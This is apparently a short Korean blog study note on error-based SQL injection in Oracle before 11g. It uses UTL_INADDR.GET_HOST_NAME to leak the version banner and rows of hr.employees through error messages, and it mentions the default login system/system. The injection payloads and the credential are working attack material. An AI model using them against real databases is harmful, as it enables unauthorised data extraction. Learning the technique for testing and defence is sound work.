Self-Improvement

Oracle Error SQLi 단일 열(Network 내장함수, Oracle 11g 미만) 본문

SQLi

Oracle Error SQLi 단일 열(Network 내장함수, Oracle 11g 미만)

JoGeun 2020. 4. 18. 21:20

Oracle 데이터베이스는 where 절을 할 시에는 무조건 '='와 대응되는 무언가가 있어야한다.

UTL_INADDR.GET_HOST_NAME

UTL_HTTP.REQUEST

 

Oracle 11g 이상에선 ACL 정책 강화로 DBA 외에는 실행이 차단되어

Network 내장함수는 관리자 계정만 사용이 가능하다.

system/system

 

[기본 형식]

> select UTL_INADDR.GET_HOST_NAME('127.0.0.1') from dual

 

문자열 쿼리를 주입하면 오류가 발생하지만 쿼리가 동작되어 출력이 이루어진다.

[버전 정보 출력]

> select UTL_INADDR.GET_HOST_NAME((select banner from v$version where rownum=1)) from dual

 

[데이터 정보]

> select UTL_INADDR.GET_HOST_NAME((select employee_id||','||first_name from(select rownum as rowidx, employee_id, first_name from hr.employees)t where rowidx=1)) from dual

 

시스템 계정으로 로그인 되어 있음으로 사용자 계정의 정보를 얻을라면 hr.employees로 해야한다.

<사용자>.<칼럼>